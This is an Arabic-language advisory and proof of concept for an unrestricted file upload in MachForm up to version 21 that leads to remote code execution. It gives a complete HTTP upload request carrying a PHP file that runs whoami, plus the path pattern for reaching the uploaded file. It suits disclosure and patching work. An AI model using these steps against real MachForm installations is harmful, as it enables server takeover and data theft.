
استغلال إثبات المفهوم لرفع ملف غير مقيد مصادق عليه يؤدي إلى تنفيذ الأوامر عن بُعد في MachForm حتى الإصدار 21، مع أمثلة طلبات مفصلة وخطوات استغلال.
إصدار MachForm حتى الإصدار 21 يتأثر بثغرة تحميل ملف غير مقيد بعد المصادقة تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
يوفر التطبيق إمكانية إنشاء نموذج مع وظيفة تحميل ملف. بينما تقتصر الملفات المقبولة افتراضيًا على مجموعة فرعية آمنة شائعة، يمكن لمنشئ النموذج أيضًا تحديد تنسيقات إضافية مسموح بها.
إذا قام مستخدم لديه صلاحيات إنشاء نماذج بإنشاء نموذج مع وظيفة تحميل ملف حيث يُسمح بتنسيق “PHP”، يمكن لأي مستخدم غير مصادق استغلال هذا النموذج للحصول على تنفيذ تعليمات برمجية عن بُعد.
لاستغلال هذه الثغرة، يلزم وجود نموذج مع تمكين وظيفة تحميل ملف والذي تم إدراج امتدادات “PHP” في القائمة البيضاء له.

بمجرد تحقيق هذا الشرط المسبق، يمكن لأي مستخدم غير مصادق الانتقال إلى النموذج لاستغلال ثغرة تحميل الملف.
يتم تحميل الملفات التي تم رفعها إلى النموذج، والتي لم يتم إرسالها بعد داخل النموذج، على خادم الويب في دليل محدد مسبقًا بتنسيق .tmp.

الطلب:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
يمكن بناء المسار الكامل للملف الذي تم تحميله باستخدام طلب التحميل، والذي يحتوي على جميع الحقول المطلوبة:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
في هذا السيناريو، سيكون رابط الملف الذي تم تحميله كما يلي:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

بمجرد الحصول على تنفيذ تعليمات برمجية عن بُعد، يصبح من الممكن العمل مباشرة على الخادم الهدف، مما يسمح بالوصول إلى ما يتجاوز نطاق التطبيق ويسمح بقراءة معلومات حساسة أو تعديل/حذف المكونات الأساسية.